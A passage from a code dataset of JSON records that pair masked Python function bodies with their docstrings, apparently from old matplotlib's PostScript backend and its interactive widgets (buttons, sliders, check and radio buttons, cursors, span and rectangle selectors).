imagedpi=dpi)<EOL>self.figure.draw(renderer)<EOL>self.figure.set_facecolor(origfacecolor)<EOL>self.figure.set_edgecolor(origedgecolor)<EOL>print(\"<STR_LIT>\", file=fh)<EOL>if title: print(\"<STR_LIT>\"+title, file=fh)<EOL>print((\"<STR_LIT>\"<EOL>+__version__+\"<STR_LIT>\"), file=fh)<EOL>print(\"<STR_LIT>\"+time.ctime(time.time()), file=fh)<EOL>print(\"<STR_LIT>\" % bbox, file=fh)<EOL>print(\"<STR_LIT>\", file=fh)<EOL>Ndict = len(psDefs)<EOL>print(\"<STR_LIT>\", file=fh)<EOL>print(\"<STR_LIT>\"%Ndict, file=fh)<EOL>print(\"<STR_LIT>\", file=fh)<EOL>for d in psDefs:<EOL><INDENT>d=d.strip()<EOL>for l in d.split('<STR_LIT:\\n>'):<EOL><INDENT>print(l.strip(), file=fh)<EOL><DEDENT><DEDENT>print(\"<STR_LIT:end>\", file=fh)<EOL>print(\"<STR_LIT>\", file=fh)<EOL>print(\"<STR_LIT>\", file=fh)<EOL>print(\"<STR_LIT>\"%_nums_to_str(xo, yo), file=fh)<EOL>print(\"<STR_LIT>\"%_nums_to_str(width*<NUM_LIT>, height*<NUM_LIT>, <NUM_LIT:0>, <NUM_LIT:0>), file=fh)<EOL>print(self._pswriter.getvalue(), file=fh)<EOL>print(\"<STR_LIT:end>\", file=fh)<EOL>print(\"<STR_LIT>\", file=fh)<EOL>fh.close()<EOL>if isLandscape: <EOL><INDENT>isLandscape = True<EOL>width, height = height, width<EOL>bbox = (lly, llx, ury, urx)<EOL><DEDENT>temp_papertype = _get_papertype(width, height)<EOL>if papertype=='<STR_LIT>':<EOL><INDENT>papertype = temp_papertype<EOL>paperWidth, paperHeight = papersize[temp_papertype]<EOL><DEDENT>else:<EOL><INDENT>paperWidth, paperHeight = papersize[papertype]<EOL>if (width>paperWidth or height>paperHeight) and isEPSF:<EOL><INDENT>paperWidth, paperHeight = papersize[temp_papertype]<EOL>verbose.report('<STR_LIT>'%(papertype, temp_papertype), '<STR_LIT>')<EOL><DEDENT><DEDENT>texmanager = renderer.get_texmanager()<EOL>font_preamble = texmanager.get_font_preamble()<EOL>custom_preamble = texmanager.get_custom_preamble()<EOL>convert_psfrags(tmpfile, renderer.psfrag, font_preamble,<EOL>custom_preamble, paperWidth, paperHeight,<EOL>orientation)<EOL>if rcParams['<STR_LIT>'] == '<STR_LIT>':<EOL><INDENT>gs_distill(tmpfile, isEPSF, ptype=papertype, bbox=bbox)<EOL><DEDENT>elif rcParams['<STR_LIT>'] == '<STR_LIT>':<EOL><INDENT>xpdf_distill(tmpfile, isEPSF, ptype=papertype, bbox=bbox)<EOL><DEDENT>elif rcParams['<STR_LIT>']:<EOL><INDENT>if False: pass <EOL>else: gs_distill(tmpfile, isEPSF, ptype=papertype, bbox=bbox)<EOL><DEDENT>if  isinstance(outfile, file):<EOL><INDENT>fh = file(tmpfile)<EOL>print(fh.read(), file=outfile)<EOL><DEDENT>else: shutil.move(tmpfile, outfile)<EOL>", "docstring": "If text.usetex is True in rc, a temporary pair of tex/eps files\nare created to allow tex to manage the text layout via the PSFrags\npackage. These files are processed to yield the final ps or eps file.", "id": "f17234:c2:m6"}
{"signature": "def __call__(self, o):", "body": "if not self.available(o):<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>self._owner = o<EOL>", "docstring": "reserve the lock for o", "id": "f17235:c0:m1"}
{"signature": "def release(self, o):", "body": "if not self.available(o):<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>self._owner = None<EOL>", "docstring": "release the lock", "id": "f17235:c0:m2"}
{"signature": "def available(self, o):", "body": "return not self.locked() or self.isowner(o)<EOL>", "docstring": "drawing is available to o", "id": "f17235:c0:m3"}
{"signature": "def isowner(self, o):", "body": "return self._owner is o<EOL>", "docstring": "o owns the lock", "id": "f17235:c0:m4"}
{"signature": "def locked(self):", "body": "return self._owner is not None<EOL>", "docstring": "the lock is held", "id": "f17235:c0:m5"}
{"signature": "def __init__(self, ax, label, image=None,<EOL>color='<STR_LIT>', hovercolor='<STR_LIT>'):", "body": "if image is not None:<EOL><INDENT>ax.imshow(image)<EOL><DEDENT>self.label = ax.text(<NUM_LIT:0.5>, <NUM_LIT:0.5>, label,<EOL>verticalalignment='<STR_LIT>',<EOL>horizontalalignment='<STR_LIT>',<EOL>transform=ax.transAxes)<EOL>self.cnt = <NUM_LIT:0><EOL>self.observers = {}<EOL>self.ax = ax<EOL>ax.figure.canvas.mpl_connect('<STR_LIT>', self._click)<EOL>ax.figure.canvas.mpl_connect('<STR_LIT>', self._motion)<EOL>ax.set_navigate(False)<EOL>ax.set_axis_bgcolor(color)<EOL>ax.set_xticks([])<EOL>ax.set_yticks([])<EOL>self.color = color<EOL>self.hovercolor = hovercolor<EOL>self._lastcolor = color<EOL>", "docstring": "ax is the Axes instance the button will be placed into\n\nlabel is a string which is the button text\n\nimage if not None, is an image to place in the button -- can\n  be any legal arg to imshow (numpy array, matplotlib Image\n  instance, or PIL image)\n\ncolor is the color of the button when not activated\n\nhovercolor is the color of the button when the mouse is over\n  it", "id": "f17235:c2:m0"}
{"signature": "def on_clicked(self, func):", "body": "cid = self.cnt<EOL>self.observers[cid] = func<EOL>self.cnt += <NUM_LIT:1><EOL>return cid<EOL>", "docstring": "When the button is clicked, call this func with event\n\nA connection id is returned which can be used to disconnect", "id": "f17235:c2:m3"}
{"signature": "def disconnect(self, cid):", "body": "try: del self.observers[cid]<EOL>except KeyError: pass<EOL>", "docstring": "remove the observer with connection id cid", "id": "f17235:c2:m4"}
{"signature": "def __init__(self, ax, label, valmin, valmax, valinit=<NUM_LIT:0.5>, valfmt='<STR_LIT>',<EOL>closedmin=True, closedmax=True, slidermin=None, slidermax=None,<EOL>dragging=True, **kwargs):", "body": "self.ax = ax<EOL>self.valmin = valmin<EOL>self.valmax = valmax<EOL>self.val = valinit<EOL>self.valinit = valinit<EOL>self.poly = ax.axvspan(valmin,valinit,<NUM_LIT:0>,<NUM_LIT:1>, **kwargs)<EOL>self.vline = ax.axvline(valinit,<NUM_LIT:0>,<NUM_LIT:1>, color='<STR_LIT:r>', lw=<NUM_LIT:1>)<EOL>self.valfmt=valfmt<EOL>ax.set_yticks([])<EOL>ax.set_xlim((valmin, valmax))<EOL>ax.set_xticks([])<EOL>ax.set_navigate(False)<EOL>ax.figure.canvas.mpl_connect('<STR_LIT>', self._update)<EOL>if dragging:<EOL><INDENT>ax.figure.canvas.mpl_connect('<STR_LIT>', self._update)<EOL><DEDENT>self.label = ax.text(-<NUM_LIT>, <NUM_LIT:0.5>, label, transform=ax.transAxes,<EOL>verticalalignment='<STR_LIT>',<EOL>horizontalalignment='<STR_LIT:right>')<EOL>self.valtext = ax.text(<NUM_LIT>, <NUM_LIT:0.5>, valfmt%valinit,<EOL>transform=ax.transAxes,<EOL>verticalalignment='<STR_LIT>',<EOL>horizontalalignment='<STR_LIT:left>')<EOL>self.cnt = <NUM_LIT:0><EOL>self.observers = {}<EOL>self.closedmin = closedmin<EOL>self.closedmax = closedmax<EOL>self.slidermin = slidermin<EOL>self.slidermax = slidermax<EOL>", "docstring": "Create a slider from valmin to valmax in axes ax;\n\nvalinit -  the slider initial position\n\nlabel - the slider label\n\nvalfmt - used to format the slider value\n\nclosedmin and closedmax - indicate whether the slider interval is closed\n\nslidermin and slidermax - be used to contrain the value of\n  this slider to the values of other sliders.\n\nadditional kwargs are passed on to self.poly which is the\nmatplotlib.patches.Rectangle which draws the slider.  See the\nmatplotlib.patches.Rectangle documentation for legal property\nnames (eg facecolor, edgecolor, alpha, ...)", "id": "f17235:c3:m0"}
{"signature": "def _update(self, event):", "body": "if event.button !=<NUM_LIT:1>: return<EOL>if event.inaxes != self.ax: return<EOL>val = event.xdata<EOL>if not self.closedmin and val<=self.valmin: return<EOL>if not self.closedmax and val>=self.valmax: return<EOL>if self.slidermin is not None:<EOL><INDENT>if val<=self.slidermin.val: return<EOL><DEDENT>if self.slidermax is not None:<EOL><INDENT>if val>=self.slidermax.val: return<EOL><DEDENT>self.set_val(val)<EOL>", "docstring": "update the slider position", "id": "f17235:c3:m1"}
{"signature": "def on_changed(self, func):", "body": "cid = self.cnt<EOL>self.observers[cid] = func<EOL>self.cnt += <NUM_LIT:1><EOL>return cid<EOL>", "docstring": "When the slider valud is changed, call this func with the new\nslider position\n\nA connection id is returned which can be used to disconnect", "id": "f17235:c3:m3"}
{"signature": "def disconnect(self, cid):", "body": "try: del self.observers[cid]<EOL>except KeyError: pass<EOL>", "docstring": "remove the observer with connection id cid", "id": "f17235:c3:m4"}
{"signature": "def reset(self):", "body": "if (self.val != self.valinit):<EOL><INDENT>self.set_val(self.valinit)<EOL><DEDENT>", "docstring": "reset the slider to the initial value if needed", "id": "f17235:c3:m5"}
{"signature": "def __init__(self, ax, labels, actives):", "body": "ax.set_xticks([])<EOL>ax.set_yticks([])<EOL>ax.set_navigate(False)<EOL>if len(labels)><NUM_LIT:1>:<EOL><INDENT>dy = <NUM_LIT:1.>/(len(labels)+<NUM_LIT:1>)<EOL>ys = np.linspace(<NUM_LIT:1>-dy, dy, len(labels))<EOL><DEDENT>else:<EOL><INDENT>dy = <NUM_LIT><EOL>ys = [<NUM_LIT:0.5>]<EOL><DEDENT>cnt = <NUM_LIT:0><EOL>axcolor = ax.get_axis_bgcolor()<EOL>self.labels = []<EOL>self.lines = []<EOL>self.rectangles = []<EOL>lineparams = {'<STR_LIT>':'<STR_LIT:k>', '<STR_LIT>':<NUM_LIT>, '<STR_LIT>':ax.transAxes,<EOL>'<STR_LIT>':'<STR_LIT>'}<EOL>for y, label in zip(ys, labels):<EOL><INDENT>t = ax.text(<NUM_LIT>, y, label, transform=ax.transAxes,<EOL>horizontalalignment='<STR_LIT:left>',<EOL>verticalalignment='<STR_LIT>')<EOL>w, h = dy/<NUM_LIT>, dy/<NUM_LIT><EOL>x, y = <NUM_LIT>, y-h/<NUM_LIT><EOL>p = Rectangle(xy=(x,y), width=w, height=h,<EOL>facecolor=axcolor,<EOL>transform=ax.transAxes)<EOL>l1 = Line2D([x, x+w], [y+h, y], **lineparams)<EOL>l2 = Line2D([x, x+w], [y, y+h], **lineparams)<EOL>l1.set_visible(actives[cnt])<EOL>l2.set_visible(actives[cnt])<EOL>self.labels.append(t)<EOL>self.rectangles.append(p)<EOL>self.lines.append((l1,l2))<EOL>ax.add_patch(p)<EOL>ax.add_line(l1)<EOL>ax.add_line(l2)<EOL>cnt += <NUM_LIT:1><EOL><DEDENT>ax.figure.canvas.mpl_connect('<STR_LIT>', self._clicked)<EOL>self.ax = ax<EOL>self.cnt = <NUM_LIT:0><EOL>self.observers = {}<EOL>", "docstring": "Add check buttons to axes.Axes instance ax\n\nlabels is a len(buttons) list of labels as strings\n\nactives is a len(buttons) list of booleans indicating whether\n the button is active", "id": "f17235:c4:m0"}
{"signature": "def on_clicked(self, func):", "body": "cid = self.cnt<EOL>self.observers[cid] = func<EOL>self.cnt += <NUM_LIT:1><EOL>return cid<EOL>", "docstring": "When the button is clicked, call this func with button label\n\nA connection id is returned which can be used to disconnect", "id": "f17235:c4:m2"}
{"signature": "def disconnect(self, cid):", "body": "try: del self.observers[cid]<EOL>except KeyError: pass<EOL>", "docstring": "remove the observer with connection id cid", "id": "f17235:c4:m3"}
{"signature": "def __init__(self, ax, labels, active=<NUM_LIT:0>, activecolor='<STR_LIT>'):", "body": "self.activecolor = activecolor<EOL>ax.set_xticks([])<EOL>ax.set_yticks([])<EOL>ax.set_navigate(False)<EOL>dy = <NUM_LIT:1.>/(len(labels)+<NUM_LIT:1>)<EOL>ys = np.linspace(<NUM_LIT:1>-dy, dy, len(labels))<EOL>cnt = <NUM_LIT:0><EOL>axcolor = ax.get_axis_bgcolor()<EOL>self.labels = []<EOL>self.circles = []<EOL>for y, label in zip(ys, labels):<EOL><INDENT>t = ax.text(<NUM_LIT>, y, label, transform=ax.transAxes,<EOL>horizontalalignment='<STR_LIT:left>',<EOL>verticalalignment='<STR_LIT>')<EOL>if cnt==active:<EOL><INDENT>facecolor = activecolor<EOL><DEDENT>else:<EOL><INDENT>facecolor = axcolor<EOL><DEDENT>p = Circle(xy=(<NUM_LIT>, y), radius=<NUM_LIT>, facecolor=facecolor,<EOL>transform=ax.transAxes)<EOL>self.labels.append(t)<EOL>self.circles.append(p)<EOL>ax.add_patch(p)<EOL>cnt += <NUM_LIT:1><EOL><DEDENT>ax.figure.canvas.mpl_connect('<STR_LIT>', self._clicked)<EOL>self.ax = ax<EOL>self.cnt = <NUM_LIT:0><EOL>self.observers = {}<EOL>", "docstring": "Add radio buttons to axes.Axes instance ax\n\nlabels is a len(buttons) list of labels as strings\n\nactive is the index into labels for the button that is active\n\nactivecolor is the color of the button when clicked", "id": "f17235:c5:m0"}
{"signature": "def on_clicked(self, func):", "body": "cid = self.cnt<EOL>self.observers[cid] = func<EOL>self.cnt += <NUM_LIT:1><EOL>return cid<EOL>", "docstring": "When the button is clicked, call this func with button label\n\nA connection id is returned which can be used to disconnect", "id": "f17235:c5:m2"}
{"signature": "def disconnect(self, cid):", "body": "try: del self.observers[cid]<EOL>except KeyError: pass<EOL>", "docstring": "remove the observer with connection id cid", "id": "f17235:c5:m3"}
{"signature": "def __init__(self, targetfig, toolfig):", "body": "self.targetfig = targetfig<EOL>toolfig.subplots_adjust(left=<NUM_LIT>, right=<NUM_LIT>)<EOL>class toolbarfmt:<EOL><INDENT>def __init__(self, slider):<EOL><INDENT>self.slider = slider<EOL><DEDENT>def __call__(self, x, y):<EOL><INDENT>fmt = '<STR_LIT>'%(self.slider.label.get_text(), self.slider.valfmt)<EOL>return fmt%x<EOL><DEDENT><DEDENT>self.axleft = toolfig.add_subplot(<NUM_LIT>)<EOL>self.axleft.set_title('<STR_LIT>')<EOL>self.axleft.set_navigate(False)<EOL>self.sliderleft = Slider(self.axleft, '<STR_LIT:left>', <NUM_LIT:0>, <NUM_LIT:1>, targetfig.subplotpars.left, closedmax=False)<EOL>self.sliderleft.on_changed(self.funcleft)<EOL>self.axbottom = toolfig.add_subplot(<NUM_LIT>)<EOL>self.axbottom.set_navigate(False)<EOL>self.sliderbottom = Slider(self.axbottom, '<STR_LIT>', <NUM_LIT:0>, <NUM_LIT:1>, targetfig.subplotpars.bottom, closedmax=False)<EOL>self.sliderbottom.on_changed(self.funcbottom)<EOL>self.axright = toolfig.add_subplot(<NUM_LIT>)<EOL>self.axright.set_navigate(False)<EOL>self.sliderright = Slider(self.axright, '<STR_LIT:right>', <NUM_LIT:0>, <NUM_LIT:1>, targetfig.subplotpars.right, closedmin=False)<EOL>self.sliderright.on_changed(self.funcright)<EOL>self.axtop = toolfig.add_subplot(<NUM_LIT>)<EOL>self.axtop.set_navigate(False)<EOL>self.slidertop = Slider(self.axtop, '<STR_LIT>', <NUM_LIT:0>, <NUM_LIT:1>, targetfig.subplotpars.top, closedmin=False)<EOL>self.slidertop.on_changed(self.functop)<EOL>self.axwspace = toolfig.add_subplot(<NUM_LIT>)<EOL>self.axwspace.set_navigate(False)<EOL>self.sliderwspace = Slider(self.axwspace, '<STR_LIT>', <NUM_LIT:0>, <NUM_LIT:1>, targetfig.subplotpars.wspace, closedmax=False)<EOL>self.sliderwspace.on_changed(self.funcwspace)<EOL>self.axhspace = toolfig.add_subplot(<NUM_LIT>)<EOL>self.axhspace.set_navigate(False)<EOL>self.sliderhspace = Slider(self.axhspace, '<STR_LIT>', <NUM_LIT:0>, <NUM_LIT:1>, targetfig.subplotpars.hspace, closedmax=False)<EOL>self.sliderhspace.on_changed(self.funchspace)<EOL>self.sliderleft.slidermax = self.sliderright<EOL>self.sliderright.slidermin = self.sliderleft<EOL>self.sliderbottom.slidermax = self.slidertop<EOL>self.slidertop.slidermin = self.sliderbottom<EOL>bax = toolfig.add_axes([<NUM_LIT>, <NUM_LIT>, <NUM_LIT>, <NUM_LIT>])<EOL>self.buttonreset = Button(bax, '<STR_LIT>')<EOL>sliders = (self.sliderleft, self.sliderbottom, self.sliderright,<EOL>self.slidertop, self.sliderwspace, self.sliderhspace, )<EOL>def func(event):<EOL><INDENT>thisdrawon = self.drawon<EOL>self.drawon = False<EOL>bs = []<EOL>for slider in sliders:<EOL><INDENT>bs.append(slider.drawon)<EOL>slider.drawon = False<EOL><DEDENT>for slider in sliders:<EOL><INDENT>slider.reset()<EOL><DEDENT>for slider, b in zip(sliders, bs):<EOL><INDENT>slider.drawon = b<EOL><DEDENT>self.drawon = thisdrawon<EOL>if self.drawon:<EOL><INDENT>toolfig.canvas.draw()<EOL>self.targetfig.canvas.draw()<EOL><DEDENT><DEDENT>validate = toolfig.subplotpars.validate<EOL>toolfig.subplotpars.validate = False<EOL>self.buttonreset.on_clicked(func)<EOL>toolfig.subplotpars.validate = validate<EOL>", "docstring": "targetfig is the figure to adjust\n\ntoolfig is the figure to embed the the subplot tool into.  If\nNone, a default pylab figure will be created.  If you are\nusing this from the GUI", "id": "f17235:c6:m0"}
{"signature": "def __init__(self, ax, useblit=False, **lineprops):", "body": "self.ax = ax<EOL>self.canvas = ax.figure.canvas<EOL>self.canvas.mpl_connect('<STR_LIT>', self.onmove)<EOL>self.canvas.mpl_connect('<STR_LIT>', self.clear)<EOL>self.visible = True<EOL>self.horizOn = True<EOL>self.vertOn = True<EOL>self.useblit = useblit<EOL>self.lineh = ax.axhline(ax.get_ybound()[<NUM_LIT:0>], visible=False, **lineprops)<EOL>self.linev = ax.axvline(ax.get_xbound()[<NUM_LIT:0>], visible=False, **lineprops)<EOL>self.background = None<EOL>self.needclear = False<EOL>", "docstring": "Add a cursor to ax.  If useblit=True, use the backend\ndependent blitting features for faster updates (GTKAgg only\nnow).  lineprops is a dictionary of line properties.  See\nexamples/widgets/cursor.py.", "id": "f17235:c7:m0"}
{"signature": "def clear(self, event):", "body": "if self.useblit:<EOL><INDENT>self.background = self.canvas.copy_from_bbox(self.ax.bbox)<EOL><DEDENT>self.linev.set_visible(False)<EOL>self.lineh.set_visible(False)<EOL>", "docstring": "clear the cursor", "id": "f17235:c7:m1"}
{"signature": "def onmove(self, event):", "body": "if event.inaxes != self.ax:<EOL><INDENT>self.linev.set_visible(False)<EOL>self.lineh.set_visible(False)<EOL>if self.needclear:<EOL><INDENT>self.canvas.draw()<EOL>self.needclear = False<EOL><DEDENT>return<EOL><DEDENT>self.needclear = True<EOL>if not self.visible: return<EOL>self.linev.set_xdata((event.xdata, event.xdata))<EOL>self.lineh.set_ydata((event.ydata, event.ydata))<EOL>self.linev.set_visible(self.visible and self.vertOn)<EOL>self.lineh.set_visible(self.visible and self.horizOn)<EOL>self._update()<EOL>", "docstring": "on mouse motion draw the cursor if visible", "id": "f17235:c7:m2"}
{"signature": "def clear(self, event):", "body": "if self.useblit:<EOL><INDENT>self.background = self.canvas.copy_from_bbox(self.canvas.figure.bbox)<EOL><DEDENT>for line in self.lines: line.set_visible(False)<EOL>", "docstring": "clear the cursor", "id": "f17235:c8:m1"}
{"signature": "def __init__(self, ax, onselect, direction, minspan=None, useblit=False, rectprops=None, onmove_callback=None):", "body": "if rectprops is None:<EOL><INDENT>rectprops = dict(facecolor='<STR_LIT>', alpha=<NUM_LIT:0.5>)<EOL><DEDENT>assert direction in ['<STR_LIT>', '<STR_LIT>'], '<STR_LIT>'<EOL>self.direction = direction<EOL>self.ax = None<EOL>self.canvas = None<EOL>self.visible = True<EOL>self.cids=[]<EOL>self.rect = None<EOL>self.background = None<EOL>self.pressv = None<EOL>self.rectprops = rectprops<EOL>self.onselect = onselect<EOL>self.onmove_callback = onmove_callback<EOL>self.useblit = useblit<EOL>self.minspan = minspan<EOL>self.buttonDown = False<EOL>self.prev = (<NUM_LIT:0>, <NUM_LIT:0>)<EOL>self.new_axes(ax)<EOL>", "docstring": "Create a span selector in ax.  When a selection is made, clear\nthe span and call onselect with\n\n  onselect(vmin, vmax)\n\nand clear the span.\n\ndirection must be 'horizontal' or 'vertical'\n\nIf minspan is not None, ignore events smaller than minspan\n\nThe span rect is drawn with rectprops; default\n  rectprops = dict(facecolor='red', alpha=0.5)\n\nset the visible attribute to False if you want to turn off\nthe functionality of the span selector", "id": "f17235:c9:m0"}
{"signature": "def update_background(self, event):", "body": "if self.useblit:<EOL><INDENT>self.background = self.canvas.copy_from_bbox(self.ax.bbox)<EOL><DEDENT>", "docstring": "force an update of the background", "id": "f17235:c9:m2"}
{"signature": "def ignore(self, event):", "body": "return  event.inaxes!=self.ax or not self.visible or event.button !=<NUM_LIT:1><EOL>", "docstring": "return True if event should be ignored", "id": "f17235:c9:m3"}
{"signature": "def press(self, event):", "body": "if self.ignore(event): return<EOL>self.buttonDown = True<EOL>self.rect.set_visible(self.visible)<EOL>if self.direction == '<STR_LIT>':<EOL><INDENT>self.pressv = event.xdata<EOL><DEDENT>else:<EOL><INDENT>self.pressv = event.ydata<EOL><DEDENT>return False<EOL>", "docstring": "on button press event", "id": "f17235:c9:m4"}
{"signature": "def release(self, event):", "body": "if self.pressv is None or (self.ignore(event) and not self.buttonDown): return<EOL>self.buttonDown = False<EOL>self.rect.set_visible(False)<EOL>self.canvas.draw()<EOL>vmin = self.pressv<EOL>if self.direction == '<STR_LIT>':<EOL><INDENT>vmax = event.xdata or self.prev[<NUM_LIT:0>]<EOL><DEDENT>else:<EOL><INDENT>vmax = event.ydata or self.prev[<NUM_LIT:1>]<EOL><DEDENT>if vmin>vmax: vmin, vmax = vmax, vmin<EOL>span = vmax - vmin<EOL>if self.minspan is not None and span<self.minspan: return<EOL>self.onselect(vmin, vmax)<EOL>self.pressv = None<EOL>return False<EOL>", "docstring": "on button release event", "id": "f17235:c9:m5"}
{"signature": "def update(self):", "body": "if self.useblit:<EOL><INDENT>if self.background is not None:<EOL><INDENT>self.canvas.restore_region(self.background)<EOL><DEDENT>self.ax.draw_artist(self.rect)<EOL>self.canvas.blit(self.ax.bbox)<EOL><DEDENT>else:<EOL><INDENT>self.canvas.draw_idle()<EOL><DEDENT>return False<EOL>", "docstring": "draw using newfangled blit or oldfangled draw depending on useblit", "id": "f17235:c9:m6"}
{"signature": "def onmove(self, event):", "body": "if self.pressv is None or self.ignore(event): return<EOL>x, y = event.xdata, event.ydata<EOL>self.prev = x, y<EOL>if self.direction == '<STR_LIT>':<EOL><INDENT>v = x<EOL><DEDENT>else:<EOL><INDENT>v = y<EOL><DEDENT>minv, maxv = v, self.pressv<EOL>if minv>maxv: minv, maxv = maxv, minv<EOL>if self.direction == '<STR_LIT>':<EOL><INDENT>self.rect.set_x(minv)<EOL>self.rect.set_width(maxv-minv)<EOL><DEDENT>else:<EOL><INDENT>self.rect.set_y(minv)<EOL>self.rect.set_height(maxv-minv)<EOL><DEDENT>if self.onmove_callback is not None:<EOL><INDENT>vmin = self.pressv<EOL>if self.direction == '<STR_LIT>':<EOL><INDENT>vmax = event.xdata or self.prev[<NUM_LIT:0>]<EOL><DEDENT>else:<EOL><INDENT>vmax = event.ydata or self.prev[<NUM_LIT:1>]<EOL><DEDENT>if vmin>vmax: vmin, vmax = vmax, vmin<EOL>self.onmove_callback(vmin, vmax)<EOL><DEDENT>self.update()<EOL>return False<EOL>", "docstring": "on motion notify event", "id": "f17235:c9:m7"}
{"signature": "def __init__(self, ax, onselect, drawtype='<STR_LIT>',<EOL>minspanx=None, minspany=None, useblit=False,<EOL>lineprops=None, rectprops=None, spancoords='<STR_LIT:data>'):", "body": "self.ax = ax<EOL>self.visible = True<EOL>self.canvas = ax.figure.canvas<EOL>self.canvas.mpl_connect('<STR_LIT>', self.onmove)<EOL>self.canvas.mpl_connect('<STR_LIT>', self.press)<EOL>self.canvas.mpl_connect('<STR_LIT>', self.release)<EOL>self.canvas.mpl_connect('<STR_LIT>', self.update_background)<EOL>self.active = True                    <EOL>self.to_draw = None<EOL>self.background = None<EOL>if drawtype == '<STR_LIT:none>':<EOL><INDENT>drawtype = '<STR_LIT>'                        <EOL>self.visible = False                     <EOL><DEDENT>if drawtype == '<STR_LIT>':<EOL><INDENT>if rectprops is None:<EOL><INDENT>rectprops = dict(facecolor='<STR_LIT>', edgecolor = '<STR_LIT>',<EOL>alpha=<NUM_LIT:0.5>, fill=False)<EOL><DEDENT>self.rectprops = rectprops<EOL>self.to_draw = Rectangle((<NUM_LIT:0>,<NUM_LIT:0>), <NUM_LIT:0>, <NUM_LIT:1>,visible=False,**self.rectprops)<EOL>self.ax.add_patch(self.to_draw)<EOL><DEDENT>if drawtype == '<STR_LIT>':<EOL><INDENT>if lineprops is None:<EOL><INDENT>lineprops = dict(color='<STR_LIT>', linestyle='<STR_LIT:->',<EOL>linewidth = <NUM_LIT:2>, alpha=<NUM_LIT:0.5>)<EOL><DEDENT>self.lineprops = lineprops<EOL>self.to_draw = Line2D([<NUM_LIT:0>,<NUM_LIT:0>],[<NUM_LIT:0>,<NUM_LIT:0>],visible=False,**self.lineprops)<EOL>self.ax.add_line(self.to_draw)<EOL><DEDENT>self.onselect = onselect<EOL>self.useblit = useblit<EOL>self.minspanx = minspanx<EOL>self.minspany = minspany<EOL>assert(spancoords in ('<STR_LIT:data>', '<STR_LIT>'))<EOL>self.spancoords = spancoords<EOL>self.drawtype = drawtype<EOL>self.eventpress = None<EOL>self.eventrelease = None<EOL>", "docstring": "Create a selector in ax.  When a selection is made, clear\nthe span and call onselect with\n\n  onselect(pos_1, pos_2)\n\nand clear the drawn box/line. There pos_i are arrays of length 2\ncontaining the x- and y-coordinate.\n\nIf minspanx is not None then events smaller than minspanx\nin x direction are ignored(it's the same for y).\n\nThe rect is drawn with rectprops; default\n  rectprops = dict(facecolor='red', edgecolor = 'black',\n                   alpha=0.5, fill=False)\n\nThe line is drawn with lineprops; default\n  lineprops = dict(color='black', linestyle='-',\n                   linewidth = 2, alpha=0.5)\n\nUse type if you want the mouse to draw a line, a box or nothing\nbetween click and actual position ny setting\n\ndrawtype = 'line', drawtype='box' or drawtype = 'none'.\n\nspancoords is one of 'data' or 'pixels'.  If 'data', minspanx\nand minspanx will be interpreted in the same coordinates as\nthe x and ya axis, if 'pixels', they are in pixels", "id": "f17235:c11:m0"}
{"signature": "def update_background(self, event):", "body": "if self.useblit:<EOL><INDENT>self.background = self.canvas.copy_from_bbox(self.ax.bbox)<EOL><DEDENT>", "docstring": "force an update of the background", "id": "f17235:c11:m1"}
{"signature": "def ignore(self, event):", "body": "<EOL>if not self.active:<EOL><INDENT>return True<EOL><DEDENT>if not self.canvas.widgetlock.available(self):<EOL><INDENT>return True<EOL><DEDENT>if self.eventpress == None:<EOL><INDENT>return event.inaxes!= self.ax<EOL><DEDENT>return  (event.inaxes!=self.ax or<EOL>event.button != self.eventpress.button)<EOL>", "docstring": "return True if event should be ignored", "id": "f17235:c11:m2"}
{"signature": "def press(self, event):", "body": "<EOL>if self.ignore(event): return<EOL>self.to_draw.set_visible(self.visible)<EOL>self.eventpress = event<EOL>return False<EOL>", "docstring": "on button press event", "id": "f17235:c11:m3"}
{"signature": "def release(self, event):", "body": "if self.eventpress is None or self.ignore(event): return<EOL>self.to_draw.set_visible(False)<EOL>self.canvas.draw()<EOL>self.eventrelease = event<EOL>if self.spancoords=='<STR_LIT:data>':<EOL><INDENT>xmin, ymin = self.eventpress.xdata, self.eventpress.ydata<EOL>xmax, ymax = self.eventrelease.xdata, self.eventrelease.ydata<EOL><DEDENT>elif self.spancoords=='<STR_LIT>':<EOL><INDENT>xmin, ymin = self.eventpress.x, self.eventpress.y<EOL>xmax, ymax = self.eventrelease.x, self.eventrelease.y<EOL><DEDENT>else:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>if xmin>xmax: xmin, xmax = xmax, xmin<EOL>if ymin>ymax: ymin, ymax = ymax, ymin<EOL>spanx = xmax - xmin<EOL>spany = ymax - ymin<EOL>xproblems = self.minspanx is not None and spanx<self.minspanx<EOL>yproblems = self.minspany is not None and spany<self.minspany<EOL>if (self.drawtype=='<STR_LIT>')  and (xproblems or  yproblems):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"     <EOL>return                 <EOL><DEDENT>if (self.drawtype=='<STR_LIT>') and (xproblems and yproblems):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"    <EOL>return                 <EOL><DEDENT>self.onselect(self.eventpress, self.eventrelease)<EOL>self.eventpress = None                <EOL>self.eventrelease = None              <EOL>return False<EOL>", "docstring": "on button release event", "id": "f17235:c11:m4"}
{"signature": "def update(self):", "body": "if self.useblit:<EOL><INDENT>if self.background is not None:<EOL><INDENT>self.canvas.restore_region(self.background)<EOL><DEDENT>self.ax.draw_artist(self.to_draw)<EOL>self.canvas.blit(self.ax.bbox)<EOL><DEDENT>else:<EOL><INDENT>self.canvas.draw_idle()<EOL><DEDENT>return False<EOL>", "docstring": "draw using newfangled blit or oldfangled draw depending on useblit", "id": "f17235:c11:m5"}
{"signature": "def onmove(self, event):", "body": "if self.eventpress is None or self.ignore(event): return<EOL>x,y = event.xdata, event.ydata            <EOL>if self.drawtype == '<STR_LIT>':<EOL><INDENT>minx, maxx = self.eventpress.xdata, x <EOL>miny, maxy = self.eventpress.ydata, y <EOL>if minx>maxx: minx, maxx = maxx, minx <EOL>if miny>maxy: miny, maxy = maxy, miny<EOL>self.to_draw.set_x(minx)             <EOL>self.to_draw.set_y(miny)<EOL>self.to_draw.set_width(maxx-minx)     <EOL>self.to_draw.set_height(maxy-miny)<EOL>self.update()<EOL>return False<EOL><DEDENT>if self.drawtype == '<STR_LIT>':<EOL><INDENT>self.to_draw.set_data([self.eventpress.xdata, x],<EOL>[self.eventpress.ydata, y])<EOL>self.update()<EOL>return False<EOL><DEDENT>", "docstring": "on motion notify event if box/line is wanted", "id": "f17235:c11:m6"}
